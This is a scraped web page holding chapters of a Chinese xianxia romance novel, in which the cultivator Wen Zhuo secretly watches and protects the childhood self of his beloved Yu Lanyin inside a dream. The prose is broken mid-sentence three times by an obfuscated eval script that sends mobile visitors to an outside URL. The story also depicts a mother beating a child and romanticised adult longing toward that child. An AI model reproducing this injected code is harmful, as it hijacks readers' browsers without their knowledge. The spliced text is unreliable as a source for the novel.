但他倒不至于把这无能为力的火气发到别人身上,又好在是得了些确切的消息,温卓同枇杷姑娘们道了谢,匆匆上了路。 玉府应该比温卓想的要家大业大。 因为温卓一路问路,居然没一个人不知道玉家,指路指得那叫一个详细,越说越离谱,简直是要把玉家说得堪比天上仙殿、水里龙宫了。 不过也多亏了这些好心的路人,没走一点弯路,温卓当日就到达了那传得神乎其神的玉府。 玉府是典型的江南商贾装潢,富丽堂皇,奢靡至极,里头城墙宫殿弯弯绕绕,放个不识路的人进去能困个三天三夜。 温卓谨记善玄提醒他的,“要观察,不要改变”,于是没敲正门,往自己身上施了个隐身的法术,偷偷潜进了玉府。 玉府奇大无比,厢房大殿无数。此时正值晚膳时间,温卓脚下御风挨户瞧过去,每个厢房里都住着姿色、年纪各不相仿的美貌妇人。 别说玉阑音了,一趟走下来,连个男丁都没看见几个。 温卓不禁纳罕,难不成此玉府非彼玉府?玉阑音果真不在玉召秋这一支上? 终于,温卓第无数次在心里道一句“失礼”,一边踏进一栋西面的厢房。 可谓是功夫不负有心人,这下还真让他瞧见了些有意思的。 这间厢房比他刚才去过的所有屋殿都要热闹些,屋内围桌坐着四人,正在用晚膳。 一对男女,一双儿子。 桌前的妇人生得极为明艳,丹凤眼,画着细细的眉毛,胭脂红得像火。 她头上簪金带玉,身上穿着的是薄如蝉翼的手纺轻纱,举手投足都透着一股子精明劲儿。 妇人身旁的男子约莫四十多岁的年纪,鬓角生出了花发,但眉目依旧极为锋利,气宇轩昂,并没有因为岁月而浅淡柔和一分。 想必这便是玉家家主,玉召秋了。 温卓只往玉召秋那处打眼一看便愣住了。 因为这玉召秋,长得同玉阑音几乎是一个模子刻出来的。 两人长得有多像呢? 就是即便是如此熟悉玉阑音的温卓,打眼一看,都恍惚地以为面前的这人其实是老去了的玉阑音假扮的。 不过……不知是因为自己私心作祟,还是因为玉阑音梦里潜意识的影响,温卓看着玉召秋,隐隐感觉到一种极为刺鼻的、尖锐的不适感。 但这负面情绪转瞬即逝,快到温卓甚至来不及剖析出它的由来。 借着自己身上披着隐身术的结界,温卓也不磨叽。 他直接大阔步进了屋,去看两人身旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739749|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐着的那一对背对着他坐两个孩子,可是刚一看过去,温卓的眉头当即就微微蹙紧。 不是玉阑音。 而且……虽然他这人并不愿意评价别人的外表,但他还是被这一对锦衣玉食的双胞胎的长相惊到了。 两个孩子皆是随了桌上妇人的那一双吊梢眼,但又没有妇人的眉目含情和三分妩媚,说一句贼眉鼠眼不为过。 大一点的那个十二三岁光景,脸长一些,皮肤黝黑,生着一口龅牙,吃起饭来直吧唧嘴;小一点的那个八九岁,生得白净一些,挺胖,远看像个发面馒头。 他们二人神态骄纵无比,喊着闹着,活像是戏台上的一对儿丑角。 不知是何种心理使然,温卓只觉得有点不太好意思看他们,明知道旁人看不见自己,但还是匆匆地低下了头。 连连心道:“失礼,失礼。” 玉召秋和玉阑音长得太像了,温卓由此确定自己没来错地方。从这西面的厢房出来之后,他加快了脚步,往四处更偏远的院落里找去。 天色越来越暗了。 温卓找的越来越焦躁,即便是如此好脾气的人,也忍不住骂了几句脏话。 这玉召秋到底是纳了多少小妾? 玉府里头的厢房院落比十方宗的山头都多! 温卓终于肯定自己对玉召秋的恶意不是空穴来风了,他一边问候着玉召秋的祖宗十八代,一边为自己恶口连连道歉。 倒不是怕自己遭报应,纯粹是怕自己骂玉召秋上下九族的时候牵连到玉阑音。 最后一间厢房院子在整个玉府的东北角。 它同整个玉府的风格格格不入,院子里也没怎么有花花草草,只两棵柳树随着风微微摇曳。 房屋看上去也疏于修缮,五脊倒是还算完整,六兽已经缺了仨。 整个厢房内昏昏暗暗,压根不像是有人居住。 温卓其实对于今日能找到玉阑音已经不抱希望了。 万一今日赶了巧,正值玉阑音出了远门,留宿外头了也不是不可能。 他怀着纯朴的“来都来了”的心,叹了口气,穿过门板进了屋。 屋内倒是比外头看着亮堂一些,而且大概是因为玉府实在是太阔绰了,即便是再不受宠也不至于缺吃紧穿,这间屋内出乎意料地并不破败,同其他屋内相比也并不差太多。 一个不施粉黛的年轻女子正在小塌上盘着腿刺绣,她的头发被一根素簪子松松地簪起,在煤油灯下温婉又平和。 温卓对于玉府这几十号女眷根本提不起兴趣,扫了一眼便往别的屋去了。 右边那屋子大约是书房,门缝里透过来煤油灯的光,温卓刚一凑近甚至能闻到穿透了房门的一缕墨香。 他手上掐了个诀,穿过了屋门。 书房内,桌上一幅幅字画堆满了屋,桌上、地上全都是。 桌上的煤油灯十分明亮,背对着他坐着的是一个瘦瘦小小的男孩子。 那小男孩坐得笔直,挽着低低的头发,拿笔的姿势稚嫩却十分煞有介事。 虽然天色已晚,但这孩子的衣服依旧穿得一丝不苟,他身上穿着的是如今正兴盛的重工刺绣套服,里三层外三层,愣是连一件外衣都没脱,硬挺的对襟领口抵着他年幼的下颌。 站在他右后方的温卓呼吸一滞。 他僵硬了一整日的身体、紧绷了一整日的神经终于在这一刻如同熬成了的糖浆,咕嘟嘟地柔软松懈了下来。 他甚至不需要再往前去看这孩子的脸。 温卓抬起步子,很轻很轻地慢慢走近。 最终停在了玉阑音身后一臂处。 他虚虚地抬手,隔空作了一个触摸的动作。 “找到你了。” 78.狼藉 尽管温卓身上套着隐身术,动作也放得很轻,但玉阑音桌上煤油灯的火苗还是被他带起的风吹得轻微的晃动。 年幼的玉阑音被这写字的手一顿。 他看了一会儿灯芯处爆破的火苗,然后起身重新掩了掩窗户。 温卓这才微微地松了口气。 他看小小的玉阑音看得心里喜欢得紧,看又看不够,索性直接坐在了书桌旁摆着的另外的椅子上,倚在墙上,就安安静静地看着玉阑音写字。 这时候的玉阑音大约只有七八岁,长得有几分像玉召秋,隐约能瞧出来日后的影子。 眼睛大大的,在灯下亮得像是发着光,睫毛又卷又翘,小嘴因为用功写字不自觉地抿着,精雕玉琢的——怎么看怎么可爱。 君生我未生。 可如今他居然有机会能参与他平生唯一的爱人的童年,何其有幸。 甚至连温卓自己都没有发现,自从进了屋,他的脸上便始终挂着一抹若隐若无的笑意,比他过去一百年里笑得都要多。 他凑上前去看玉阑音正在写的那张宣纸。 从上到下细细一看,温卓嘴角的笑容又是不自觉地扩大了。 谁能想,今后那写起字来鸾漂凤泊龙飞凤舞的玉阑音如今却是连字都认不全呢。 小小的玉阑音下笔颇为稚嫩,练的是最为方正的小楷体,一笔一划地慢慢写,看着好不喜人。 遇到不认识的难写的字,他一横一捺照抄过来,结果写得和口锅似的老大一个,估摸是自己也看得心烦,就又把这字涂得黑黑的。 一张宣纸写下来,字没练几个,全在这儿涂泥点儿了,硕大的黑煤球目不暇接。 他真的好可爱。 温卓心里发痒,数不尽的爱意与餍足倾泻而来,让他一时不知如何发泄是好。 想上前亲亲他湿润的眼睛,想亲亲他紧绷的手指。 想抱抱他。 可是其实是什么都不能做的。 温卓心痒难耐地四处踱步,待那胡作非为的歹念消失殆尽了,他才长舒一口气重新坐回了他的硬板凳上。 终于,看着玉阑音收了笔,洗干净了砚台,洗完脸洗完手,换好了衣服回了屋上了床,盖好了被子闭上了眼,亦步亦趋小狗似的温卓才算是舍得把目光从玉阑音身上挪开。 他耐心地等到屋里美貌的夫人也终于停下了手里的女红,回了屋后,才做贼似地偷偷潜进了书房。 温卓显出了原身,偷偷摸摸地点上了煤油灯,勤勤恳恳伏案一整宿,天明临走时还不忘替玉阑音给煤油灯添了新油。 玉阑音的生活极为枯燥和单调,同他母亲的关系也是极为相敬如宾。 清晨起床问安之后,大概一整日,两人之间都不会再有别的交流。 上午,玉阑音照例给门口树上的一对儿夜莺的巢里撒些新鲜的米粟,随后提着他屋里的木剑去院子里练剑。 记忆里的玉阑音好像从来都是游刃有余的,千变万化的招式均是御气而动,手上从来没有过任何武器,无论是剑还是法器。 如此说来,这倒还是温卓第一次见玉阑音用剑。 那木剑有玉阑音大半身量那么高,但是出乎意料的,在年幼的玉阑音手中却并不显得笨重。 他照着手边的剑谱,练着几个常见的套式。 大概是同剑的相性极好,他脚下轻盈,动作舒展无比,剑式不凶猛反而是动静相宜,柔韧又灵动,轻柔却不失力度。 看着玉阑音熟练地挽了一个收势的剑花,站在一旁树下地温卓心下不由地一笑,仗着玉阑音听不见,默默地鼓掌称赞:“真棒。” 玉阑音擦了擦脸上和手上的汗,站在原地歇了好一会儿。 许久,他揉了揉练得通红的鼻子和脸蛋,提着木剑重新回了屋。 在自己的屋内用过午饭,玉阑音躺在榻上并未小憩,却是把自己书桌底下垫桌脚的医书和药经拿出来,一页一页读得如痴如醉。 温卓在一旁守着,看得越发心疼。 他虚虚地伸出手,摸了摸玉阑音柔软的发顶。 干嘛这么用功呢,明明你也就还是个小孩子。 可是玉阑音听不见他的心语,往被子里溜了溜,歪歪头找了个更舒服的姿势,继续读。 下午,玉阑音背着小药篓子往后山上去采草药。 温卓对于枯燥的医药知识完全不感兴趣。 和小时候一样,在不远处找了块石头坐下,托着腮看着忙碌的玉阑音发呆。 但是到底这只是幼年版玉阑音,还不是那个让人放心的太嵇真人。 就在温卓稍一不注意的空档,小小的玉阑音胆子大得很,下嘴尝了一株什么不知名的草,直接两眼一翻腿一蹬,晕过去了。 这可把一边的温卓吓了个半死,忙不失迭地一个箭步窜了上来。 俗话说,毒物半径三米之内必有解药。 又俗话说,万事靠自己。 温卓死马当活马医,连忙拿起滚到一旁的医书硬着头皮开始看,方圆一里仔仔细细地一株一株摸过去。 这一来二去,功夫不负有心人,居然还真给他找着了解毒草。 他一头冷汗地把那株黄澄澄的草囫囵着往玉阑音嘴里塞。 稀里糊涂地在心里临阵磨枪地拜了好几家神,玉阑音好歹是眼睛颤了颤,回来了一条命。 悠悠转醒地玉阑音脸色有些青白,他呆愣愣地直起身,又懵懵地揉了揉眼睛,头发乱糟糟地翘着,差点没把重新隐去了身形退到了一旁的温卓可爱死。 等到彻底回了神,玉阑音这才想起什么似的,“哦”了一声,掏出了一支细细短短的炭笔,往医书那草药边上上加了一行小字,“有毒,不能吃”。 然后他顿了顿,似乎是砸吧了砸吧嘴,又把一旁的一株黄色的枯了似的小草勾画了过来,标注,“解药”。 夜里,玉阑音愣愣地站在书桌前,对着桌上的那一沓字帖出神。 温卓好整以暇地坐在一旁,托着腮笑着看着他。 玉阑音对于这凭空出现的字帖应该是很疑惑的。 他十分谨慎地翻了翻,见其中也没有什么鬼怪飘出来,这才缓缓放下了心。 温卓的字是从小临摹着玉阑音的字学的,两人的字本就有七八分像。这一摞字帖上的字是笔触十分清晰又凌厉的小行楷,交给如今的玉阑音练正合适。 他看着小小的玉阑音板着张脸,闷声临摹他的字,忽然有些想要发笑。 玉阑音一日的生活就是如此地枯燥又平静,日复一日。 而且十分意外地,这次梦中的幻境似乎和普通的幻境不同,它的时间并没有跳跃,因此温卓切切实实是在一日不落地陪着小小的玉阑音长大。 温卓对于能有机会陪着玉阑音一天一天长大这件事感到十分荣幸却惶恐。 但在这小孩又一次差点尝毒草给自己尝死之后,他忽然便升起了一种浓重的危机感。 他实在是觉得,如果自己不盯着点,这不知死活的小屁孩能不能顺利活着长大都难说。 于是他顶着恶心,日日夜夜地棒读医术和药经,争取强大自己,万一玉阑音哪天又口吐白沫了他还能救上一救。 不然他这入梦一趟,人不光没救出来,还小小年纪直接翘辫子驾鹤西去了,这和谁说理去? 不过,这一日早晨,玉阑音在院子里练剑的时候。 烟霞——就是玉阑音的母亲——难得地打扮了自己一番。 烟霞十分年轻,也不过是二十几岁的年纪,面容姣好,甚至称得上是极为美艳,用心收拾了自己更是堪称一句国色天香。 她应该是心情很好,难得地站在院子里柳树下看着玉阑音舞剑。 看了一会儿,笑问:“阑音,累了吗?休息一会儿吧。” 烟霞站得位置说来也巧,正好和温卓肩并肩。 她挥了挥手,衣袖处浓浓的胭脂水粉味儿直接把温卓呛得打了个喷嚏。 玉阑音手中的木剑一抖,险些没抓稳掉下来。 他板着一张小脸,往烟霞那处看去,“娘,我不累,您回屋歇着吧。句够日头,晒。” 温卓有些惊讶地看向玉阑音。 来槐安城这么久了,说来也惭愧,这还是温卓头一次听他说这么长的句子。 玉阑音此时年纪很小,槐安的口音比长大了要重一些,含含糊糊地,又轻又软,听得温卓直接软了半边身子。 他抱着臂,远远看着玉阑音的目光颇为幽深,许久,十分不满地“啧”了一声。 “莫得事,不晒,”烟霞眼眉处亮晶晶的,看上去十分高兴,“夜刀玉大人来咱那吃,你下半日莫要乱跑,收拾收拾自己的。” 玉阑音听话地点点头,“晓得了。” 这下午玉阑音果然没有跑出去采草药。 他乖乖地洗了个澡,然后换了一身新衣服,又把他乱糟糟的书房收拾得干干净净。 晚上,烟霞没让伙房伙计动手,亲自下厨做了一大桌好饭。 她补好了胭脂,拽着穿得正式得像是及冠的玉阑音坐在餐桌边等着。 可是从天亮等到傍晚,又从傍晚等到天黑,饭菜热了一回又一回,愣是连玉召秋的影儿也没见到一个。 其实温卓并不在意烟霞越来越难看的脸色,但是他很在乎玉阑音。 他看到玉阑音乖乖地端正坐着几个时辰,饿得小脸煞白也不动筷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751946|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,心疼地只想套个麻袋把他掳走。 他不忍地别过头去,叹了一口气,决定亲自去找找这个玉召秋。 总不能是半路出了什么事?难不成是被绑架了?还是腿突然断了? 温卓野鬼似的在玉府转悠起来。 忽然,他修士的灵敏的听觉就听到了一些诡异的动静。 好像是个女声,嗯嗯啊啊的,叫得又快又急。 温卓第一反应是有人受了伤。 他赶忙闻声赶过去,可是还没等真的走近,他像是意识到了什么,猛地脚下一顿,脸蹭得通红一片。 他狠狠地骂了句脏话。 不过虽然这种事情是非礼勿视,但温卓心中念了两三遍“罪过罪过”,还是从门缝里往里匆匆扫了一眼。 得,屋里头那是玉召秋没错了。 温卓手足无措地摸摸鼻子,移开了目光,然后还很贴心地给这屋子套上了一个隔音结界。 又在心中默默道了两边“罪过”,便转身逃似地离去了。 回去的路上,他不住地琢磨该用什么方法委婉地告知烟霞和玉阑音不必继续等了,玉召秋今晚不会再来了呢?也省得他心尖尖上的小孩儿饿得太久…… 不过很快,远远传来的玉阑音极为压抑的哀嚎和呜咽声,打断了温卓的思绪。 这下他的脸色终于是真的变了。 他身上的文人似的书卷气忽然退去,迅速取而代之的一种浓重的凶狠,他脚下御风,一个移形换影便回到了玉阑音住着的厢房。 “……都是你!都是因为你这个贱种!” 烟霞尖锐的嘶喊声穿过黑夜,稳稳地穿入温卓的耳朵。 随后是一阵哗啦哗啦地锅碗碎裂的声音,伴随着玉阑音细若蚊蝇的啜泣声。 “凭什么我生下了你我还是没有一天好日子!凭什么玉大人从来不看看我!” 烟霞狠狠地扇了玉阑音两个巴掌,“就因为我是青楼出身吗?那是我的错吗?都怪你!你为什么这么不会讨人欢心!” “你待在我肚子里头的时候,我怎么摔跤你都流不掉那!生出来果然就是个贱种!” 烟霞骂着骂着就哭了起来,话里忽然夹杂起了方言,刺耳至极,“侬什么都做不好那,莫怪所有人都讨厌!侬大雾不讨人心意!” 在一旁站着看着全程的温卓脸色难看至极。 他从小就被教育不对弱者动手,再加上善玄“不要改变”的提醒还在耳畔,贸然出手只会引起不必要的麻烦。 可是—— 烟霞染着红丹蔻的手再一巴掌下来的时候,温卓根本来不及想,当即上前抬手替玉阑音低低地挡下了这一掌。 烟霞头发散乱,苦得撕心裂肺,神志不清之中,她并没有发现她这一巴掌并没有切实落到玉阑音身上。 只有玉阑音愣愣地止住了哭。 他的脸上红红的,眼睛也红红的,含着一包眼泪,咕噜噜地就要往下掉。 直到烟霞终于发泄了个痛快。 喘息着,故作优雅地拢了拢自己的一头乱发,服着自己的额头,理都没理会一地狼籍转身回屋去了。 小小的玉阑音这才起了身,伸手擦了擦眼泪,脸上花成了小花猫。 然后小花猫一边抽泣一边一瘸一拐地回自己房间去了。 温卓看着他瘦瘦小小的背影,顿顿地站在原地。 他紧握的双拳从指缝里流出了血,止不住地颤抖着。 他明明……什么都没做错。 他明明只是个孩子。 温卓心疼地险些要失了控。 都过去了。都过去了。 他在心中默念着,揉了揉闷闷地胸口,试图压下这股真切的抽痛和酸涩。 许久,他又按了按滚烫酸软的眉心,这才跟上了玉阑音。 屋内掌着一盏小小的灯,玉阑音下午刚换的干净的新衣服上此时全是饭菜的汤汁,穿不了了。 此时他正在灯下,一个人慢慢地换着衣服。 衣服十分繁琐,玉阑音小小的一双手难免有些笨拙,手忙脚乱地有些狼狈。 温卓熟练地和鬼似地穿门而入。 哪想,像是听到了身后有人闯入的动静,正在背着他换衣服的玉阑音忽然像是受到惊吓的小兔子,拢着衣服惊慌失措地回过了头。 温卓被这双红红的兔子眼睛看得好不心疼。 正想要过去抱他进怀里安慰一二,猛地,他后知后觉地顿在了原地。 两人在暗淡又昏黄的灯下,默契地大眼瞪小眼,面面相觑。 片刻,温卓才低下头往自己身上看了看。 嘶。 他的隐身结界……这也没消失啊? 79.神仙 直到玉阑音十分善解人意,却也十分此地无银三百两地转开目光,假装很忙地四下胡乱看。 “啊,好冷啊。”他大声道。 在炎炎夏日的晚上,玉阑音搓着胳膊,硬着头皮演了一番天寒地冻,最后还很严谨地关上了通风的窗。 关上的窗隔绝了窗外的蝉鸣虫叫,屋里一时安静得不太像话。 好像……更诡异了。 玉阑音头上细细密密地出了一层薄汗。 他咬咬下嘴唇,哆哆嗦嗦地壮起胆子,咳了两声,朗声道:“啊,好像又太热了,哈哈哈……” 他欲哭无泪地又演了一通挥汗如雨的大戏。 垂着头,看都不敢往温卓那处看去,小碎步移到窗边,“哗啦”地又敞开了窗户。 窗外凉爽的夜风猛地倒灌进来,吹得玉阑音措手不及,呛了一口,“咳咳咳”地咳了个脸红脖子粗,撕心裂肺。 在他身后愣愣地站了许久的温卓就忽然笑了起来。 小小的玉阑音直接被他笑得后颈寒毛直立。 他板着一张小脸转过头,眼睛里含着要掉不掉的一汪泪水,“别……别杀我,哥哥,我,我什么都没看见那……” 温卓眯了眯眼,舌尖不受控似地顶了顶一侧的腮帮。 哥哥? 十分受之有愧的称呼,但是温卓听得心情大好。 他难得地生了些逗人的心思。 “居然被发现了……” 温卓若有若无带着一抹友善的笑意——尽管这笑容落在玉阑音的眼里是一等一的阴险狡诈。 他拖腔拖调,一步一步朝着玉阑音走去,“那我可就要……” 玉阑音应该是很想哭的,但是哆哆嗦嗦,眼泪要掉不掉的样子…… 总之就是很可爱。 温卓自认为自己不是一个恶趣味的人。 但是……也未必然。 他看着可怜巴巴的小玉阑音,心下的第一想法居然是一个满足的大叹气。 “别杀我,哥哥……别杀我,我不和别人讲,好不好……” 玉阑音抖如筛糠,还不忘讨价还价,一口吴语软得不像话,“别杀我,我乖,我听话……” 他眼睁睁看着温卓缓缓朝他伸出了一只巨手—— 完蛋了,要死了。 爹,娘,是孩儿不孝,先走一步…… 玉阑音自知是难逃一劫。 一边害怕,一边却又是一副慷慨赴死的模样,挺胸抬头,紧紧闭上了眼。 然后…… 然后。 想象中的手刀没有劈下来,但是他仍旧浑身一颤。 因为一只十分温暖的手忽然落在了他的头上。 那只手先是顿了一下,揉了揉他的发顶,然后又一顿,又揉了揉。 的确是很乖。 也的确是很听话。 玉阑音疑惑,“嗯?” 直到他愣愣地抬头,同温卓对上了目光,温卓这才不自然地咳了一声,顺便收回了那只在他头上肆无忌惮的手。 “哥……哥哥?” 温卓一哂,双手抱臂,十分自来熟地坐到了书桌旁的板凳上。 “嗯?” 玉阑音瞧着这忽然间有些混不吝的鬼哥哥,一时也摸不清他的路数。 于是只好巴巴地站在一旁,眼观鼻鼻观心,看着好不委屈。 温卓手指轮着敲了敲书桌,笑问:“从什么时候能看到我的?” 玉阑音不敢不答,老老实实道:“从哥哥来的,第一日。” 温卓一愣,失笑,“那你怎么不开口叫我?就由着我在你身边寸步不离了两三个月?” 温卓说话是很标准的中原口音,玉阑音听着觉得很新奇。 他眨眨眼,慢半拍地摇了摇头:“我不敢哦。” 温卓笑得更大了,他笑到肩膀都颤抖了起来。 他伸手挡了挡自己过于不含蓄的笑容,“有什么不敢的?我又不会吃了你。” “觉得哥哥是鬼,不敢。” 玉阑音挠挠耳朵,但是一点也不显得不好意思,很是大大方方,“那哥哥,你是鬼么?” 温卓忍俊不禁,摇了摇头。 “我不是。” 本以为玉阑音大概要追问一番,温卓心不在焉地慢慢想道:那我该编些什么话是好呢? 哪想玉阑音只是认真地点了点头,看上去完全没有打破砂锅问到底的念头。 “哦。” 温卓笑了起来。 他终于忍不住地伸手重重地揉了一把玉阑音的发顶。 阑音,你小时候和长大后真是……一模一样啊。 “哥哥。” 小小的玉阑音忽然道。 温卓被这一声声“哥哥”叫得心痒难耐,轻“啧”一声。 他在心中默默算计着在现在亲亲玉阑音的可行性,一边随口应道:“嗯?” 玉阑音的胆子大小从他亲自尝百草就可见一斑。 方才还吓得一口一个“别杀我”,如今已经眨巴着大眼睛无比泰然,甚至隐约有几分雀跃,“我桌上头的字帖,是哥哥写的吗?” 玉阑音怕温卓不知道,伸了手,从温卓胳膊肘底下把那字帖抽了出来。 他的眼睛亮亮的,“这个。” 温卓看着玉阑音,心软得像一湾深湖。 “嗯,是我。” 和长大了的玉阑音不同,小时候的玉阑音很少笑,大多时候沉默又古板,话也说得很少。 可是温卓这话一出,小小的玉阑音罕见地笑了一下,一双眼睛也弯了起来。 “那我采药的时候,晕过去了,救我的也是哥哥吗?” 温卓又笑着点点头。 得了回应的玉阑音笑得露出了一对小虎牙,“太好了!” 他慌忙把褪的邋邋遢遢的衣袍往身上一裹,给温卓倒了一盏茶水,满脸讨好却又不谄媚,反倒显得真诚又大方。 “哥哥今天还替我挡了我娘那一巴掌,我也见着了。哥哥,你喝。” 温卓被小狗腿子似的玉阑音逗得一乐。 他抿了一口有些凉了的茶水,随后一颔首,“身上的套衣,穿脱是不是很麻烦?” “哦,衣袍吗,穿多了就习惯了,不麻烦。” 玉阑音打量打量自己身上的衣服,又看了看温卓身上“穷兮兮”的单袍。 他摸摸鼻子,支支吾吾地用漫不经心的口吻笑道,“哥哥身上的衣裳也很好啊,穿脱就比我这方便得多了,也轻快,我想穿这样的还穿不着呢。” 温卓一挑眉。 他垂头,轻笑一声,“嗯,今后你也穿得上。” 玉阑音一僵。 什么人嘛……好赖话听不出来。 还搁这儿诅咒我呢。 玉阑音半哭不笑地扯了扯嘴角,“哈哈。” 温卓低下头闷闷地笑了。 “过来。”他噙着笑意朝玉阑音招了招手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765669|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “哦。” 玉阑音点点头,乖乖地凑过来。 随后温卓手上很轻地替玉阑音理了理一团乱的外袍,再帮他解开了身上打结的袍带。 他温声道:“先把袍子换下来吧。脏了。” 玉阑音又“哦”了一声。 也不遮不掩,不闪不躲,麻溜地在温卓面前开始换衣服。 看得温卓直皱眉。 “阑音,换衣裳要避着人。不知道?” “我晓得的。” 玉阑音被温卓忽然严肃的语气吓了一大跳,“可是我从前换衣裳,哥哥也都在一边啊……我都习惯了。” 这话说的,温卓说是也不是,不是也不是。 无言地一哽咽,“那除了我,谁都不能看,知道了吗?” 玉阑音笑道:“晓得啦。” 温卓托着腮,笑着看了一会儿小小的玉阑音。 但是在玉阑音脱里衣的时候,他还是非常正人君子地别过了头。 他此地无银三百两地咳了两声。 站起身溜达了两圈,又往门外看看,见烟霞仍旧在自己屋里没有出来的意思,于是自告奋勇地当起了海螺姑娘,手脚很快地把正厅一地狼籍收拾干净。 回来之后,玉阑音已经换好了睡觉的薄衣袍,在桌前磨墨,看上去是准备练字。 听到身后的动静,他回头笑道,“哥哥你回来啦。谢谢哥哥帮我收拾外头。” 刚进屋的温卓被他软软的“哥哥”叫得脚下一个踉跄,差点趴下。 “哥哥?” 玉阑音疑惑地又叫了一声。 温卓被这勾人又不自觉的玉阑音闹得一点脾气也没有,认命地到他旁边坐下。 他指指玉阑音脸,“还疼不疼?” 玉阑音想都没想,摇头,“不疼。” 温卓似乎是十分不认同。 他做了个“过来”的手势,随后手指在凑过来的玉阑音脸上轻轻一晃,“好了。” “嗯?” 玉阑音一愣,忽然瞪大眼睛用力地摸上自己的脸,“咦?不疼了哦!” 温卓连忙去捉他的手,“好孩子你手上的墨……” 但是玉阑音完全顾不上自己黑一道白一道的小花脸,他眼睛亮得简直是要冒星星。 “哥哥!你是神仙吗!你果然是神仙的对吗!” “我不是。” 温卓一边替他拿帕子擦脸,一边道,“你是。” 玉阑音只当他是开玩笑,嘿嘿一笑。 他含含糊糊道:“神仙哥哥,你刚才使的是什么?法术吗?唔……好学吗?我也想学……我也能学得会吗?” “是法术,好学,你学得最好。” 温卓连哄带笑,顺便借机会摸了摸玉阑音的小脸,“今晚乖乖练字,明天我就教你,好不好?” 玉阑音开心了,呲起一口雪白的牙,乐呵呵笑起来。 “好了。” 温卓把他脏兮兮的脸擦干净,然后拿起墨条略一颔首,“写字去吧,我替你磨墨。” 这一晚上,直到玉阑音躺进被子,他脸上的笑都没能收起来。 “哥哥,我睡觉的时候,你也会陪着我吗?” “当然了。我一辈子都陪着你。” 温卓替他掖掖被角,“睡吧。明天见。” 玉阑音嘻嘻一笑。 然后乖乖闭上眼,在这温柔的“明天见”里,他头一回,做了一整晚的美梦。 80.断臂 于是自此以后,玉阑音枯燥的生活里便多了一项—— 学法术。 但是太嵇真人不愧是太嵇真人。 玉阑音学起法术来简直像吃饭喝水一般简单,显得温卓这个“师父”活像个半吊子。 “阑音,你是水木二灵基,水系主战斗,你学得很好了。” 温卓道,“而木灵基主疗愈,你可以……意会,意会一下疗愈法术。” “意会?”玉阑音愣愣地重复道。 “对,意会。” 温卓说得脸不红心不跳,“授之以鱼不如授之以渔,学法术的方法大同小异,你总还是要自己成长的。” 玉阑音不疑有他,听温卓说得头头是道,满脸的敬佩。 “我知道了,哥哥,我一定会努力,不叫你失望!” 温卓看都不敢看他亲爱的师尊的脸。 他咳了两声,随后大手一挥,往自己胳膊上留了一道法力的小伤口,然后往玉阑音面前一送,“来吧,开始意会吧。” 玉阑音“嘶”一声,被那血色逼地别过了头去。 他十分感同身受地皱起眉,眯着眼睛虚虚地往小口子上碰了碰,“疼不疼啊,哥哥。” “太疼了,”温卓面无表情道,“你再不开始意会它就要愈合了。” 玉阑音被逗得一乐。 “那我要开始了哦。” 随后,他皱巴着一张小脸,探出手,在心里胡乱“意会”了一番。 然后…… 胳膊上的伤口居然就奇迹般地愈合了。 “嗯?” 玉阑音顿了一下,看看自己的手心,随后狐疑地一抬头,“哥哥,你莫不是在哄我玩的?” 别说玉阑音了,温卓看得眼珠子都差点掉出来。 他不可置信地摸了摸自己的胳膊。 随后更是不自觉地想到了自己学疗愈法术的丢人模样。 ……真是人比人气死人啊。 不过面上还是不能露怯的。 温卓佯装十分淡然地拢起了袖子,“怎么可能哄你,你很有天赋,已经出师了。今后千万记得替为师撰写一部《大成捷要》,以报答为师的传授之恩才是。” 玉阑音对于自己已经出师这件事将信将疑。 不过……神仙哥哥说的定然是出于自己的考量的,他无条件选择了盲从,“我晓得了,哥哥。” 这时候,烟霞柔柔的声音从屋里头传来。 “阑音,吃饭啦。” 玉阑音立刻朗声道:“这就来了,娘。” 随后又朝别人看不见的温卓低声道:“哥哥,我去吃饭啦。” 玉阑音和他娘亲相处的方式十分奇怪。 两人之间大概是有相爱的成分,但是有的时候又很恨,更多时候是尖锐的恶语相向。 温卓作为一个十分偏心玉阑音的外人,对烟霞实在是颇有微词。 说她疯疯癫癫吧,她其实大部分时间待玉阑音也极好,说话也小风吹似的,轻轻柔柔。 但是若要说她清醒……大概又有些昧良心。 不过这都不是重点,温卓不太喜欢烟霞的主要原因是…… 玉阑音好像有点怕她。 阑音怕的人,能是什么好东西呢。 温卓丝毫不避讳自己对玉阑音的无条件站队,冷哼一声,心道。 太阳西移,无数个西落,又无数个东升。 时间轻飘飘地迁移,留下一串串脚印,一串串笑容,一串串泪水。 究竟过了多久呢。 